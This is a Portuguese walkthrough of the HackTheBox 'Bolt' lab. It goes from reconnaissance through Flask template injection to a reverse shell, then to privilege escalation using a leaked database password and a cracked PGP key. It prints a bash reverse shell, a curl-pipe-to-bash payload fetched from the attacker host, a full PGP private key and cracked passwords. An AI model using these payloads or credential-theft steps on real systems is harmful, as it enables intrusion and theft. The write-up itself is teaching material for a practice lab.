> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md). # Relato do HackTheBox Bolt {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Vazamento de Informações * Enumeração de subdomínios * SSTI (Injeção de Template no Lado do Servidor) * Abusando do PassBolt * Abusando do GPG {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts ```

**Análise de portas abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22,80,443)

**Varredura de versão de portas com Nmap:** Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,80,443 10.10.11.114 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

### Porta 80

Tentamos criar uma conta, mas recebemos um "Internal Server Error".

**Lista de possíveis usuários:** * Joseph Garth * Bonnie Green * Jose Leos

Nos é oferecido baixar um `.tar` Docker image, incluindo um pacote web básico para iniciar um projeto com um design elegante.

**Busca de diretórios:** Realizamos uma busca de diretório com `gobuster`: ```bash gobuster dir -u http://bolt.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Nada de interessante foi encontrado.

**Busca por subdomínios:** Buscamos subdomínios com `gobuster`: ```bash gobuster vhost -u http://bolt.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` Subdomínios encontrados: * `demo.bolt.htb` * `mail.bolt.htb`

Nós os adicionamos ao `/etc/hosts` arquivo.

**`http://mail.blolt.htb`**

**`http://demo.bolt.htb:`**

### Vazamento de informações (image.tar) Estamos procurando informações sensíveis no arquivo Docker `.tar` que contém pastas com o arquivo `json`, arquivo `layer.tar` e versão.

**Extração de arquivos:** Extraímos os arquivos de `layer.tar` da seguinte forma: ```bash mkdir extracted_layers ``` ```bash find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /; ```

Abrimos o `db.sqlite3` banco de dados: ```sql sqlite3 db.sqlite3 .tables Select * from user ``` Encontramos um usuário `admin` com uma senha hash: * `id`: Identificador único do usuário. * `nome de usuário`: Nome de usuário (`admin` neste caso). * `email`: Endereço de e-mail associado (`admin@bolt.htb`). * `senha`: Senha com hash (`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

Descriptografamos a senha com `john`: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `admin:deadbolt`

Fazemos login no painel administrativo, mas não encontramos nada interessante, exceto que ele usa Flask.

**Busca pelo código de convite:**

Estamos procurando o código de convite nos arquivos extraídos: ```bash grep -ri "invite_code" . ```

Um arquivo Python contém o código de convite: `XNSS-HSJW-3NGU-8XTJ`

Criamos uma nova conta de usuário `jordan` com a senha `Jordan1234`, então temos acesso à caixa de entrada e à demonstração do painel administrativo.

* `usuário: jordan` * `senha: Jordan1234`

## Vulnerabilidade SSTI : Observando a configuração, notamos que, se alterarmos o nome da nossa configuração, um e-mail de confirmação é enviado. Isso pode ser uma oportunidade para um ataque SSTI.

Testamos com um payload típico: ```bash {{ 9*9 }} ``` Se o resultado for `81`, a aplicação é vulnerável.

Confirmamos que a aplicação é vulnerável e testamos injeção de comandos com um payload do `payloadallthethings`: {% embed url="" %} ID do pedido: ```bash {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ```

Conseguimos executar uma reverse shell escutando na porta 443: ```bash nc -nlvp 443 ``` Criamos um `index.html` arquivo com o seguinte conteúdo para executar uma reverse shell ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.3/443 0>&1 ``` Em seguida, iniciamos um servidor HTTP com Python: ```bash python3 -m http.server 80 ``` Enviamos o payload com `curl` para recuperar e executar o comando: ```bash {{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }} ```

**Estabilização do terminal :** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` #### Estabilize a shell para um trabalho mais confortável. ## Elevação de privilégios : Como o usuário `www-data`, estamos tentando elevar nossos privilégios para obter acesso root. ### Enumeração inicial com LinPEAS Você usou o LinPEAS para identificar possíveis vulnerabilidades no sistema. {% embed url="" %} Comandos executados: ```bash python3 -m http.server 555 ``` ```bash wget http://10.10.14.3:555/linpeas.sh ```

O LinPEAS revelou um arquivo de configuração contendo informações sensíveis: `/etc/passbolt/passbolt.php` * `host :localhost` * `port : 3306` * `username : passbolt` * `password : rT2;jW7

### **Conexão com o banco de dados MySQL** Usando as informações para se conectar ao banco de dados: ```bash mysql -h localhost -P 3306 -u passbolt -p rT2;jW7

* **`users`**: Contém usuários.


`id`	`role_id`	`nome de usuário`	`ativo`	`deleted`	`created`	`modified`
`4e184ee6-e436-47fb-91c9-dccb57f250bc`	`1cfcd300-0664-407e-85e6-c11664a7d86c`	`eddie@bolt.htb`	1	0	2021-02-25 21:42:50	2021-02-25 21:55:06
`9d8a0452-53dc-4640-b3a7-9a3d86b0ff90`	`975b9a56-b1b1-453c-9362-c238a85dad76`	`clark@bolt.htb`	1	0	2021-02-25 21:40:29	2021-02-25 21:42:32

* **`secrets`**: Mensagens criptografadas (potencialmente exploráveis mais tarde).

* **`gpgkeys`**: Contém chaves públicas (podem ser usadas em certos cenários).

Tentando se conectar com `eddie`: ```bash su eddie ``` * **Senha**: `rT2;jW7

### Reutilizando o LinPEAS (usuário eddie) Após obter acesso ao usuário `eddie`, reutilizamos **LinPEAS** para explorar o sistema em busca de possíveis chaves SSH ou outras pistas úteis.

**Arquivo encontrado**: Um arquivo de log contendo possíveis chaves SSH: `/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

### Descriptografia de mensagens com GPG **Chave privada GPG**: Usamos a **GPG** ferramenta para importar a chave privada e tentar descriptografar a mensagem criptografada no `secrets` tabela no `passboltdb` banco de dados. ``` -----BEGIN PGP PRIVATE KEY BLOCK----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org 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 PSwYYWlAywj5 =cqxZ -----END PGP PRIVATE KEY BLOCK----- ``` #### Extraindo o hash da chave privada Para poder usar a chave privada, primeiro precisamos obter seu **hash**. Usamos a **gpg2john** ferramenta para extrair o hash da chave privada: ```bash gpg2john private.key > hash ```

**Força bruta da senha da chave privada com `john`** Usamos **John the Ripper** para realizar um ataque de dicionário e descobrir a senha da chave privada. Usamos a wordlist **rockyou.txt** para isso: ```bash john -wordlist=/usr/share/wordlists/rockyou.txt hash ``` **Senha encontrada**: `merrychristmas`

#### Importando a chave privada e descriptografando a mensagem Importamos a chave privada com **gpg** ```bash gpg --import private.key ```

Depois, descriptografamos a mensagem criptografada (provavelmente contida no `message.txt` arquivo obtido do `secrets` banco de dados): ```bash gpg --decrypt message.txt ``` **Senha de root encontrada**: `Z(2rmxsNW(Z?3=p/9s`

### Bandeira root.txt

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.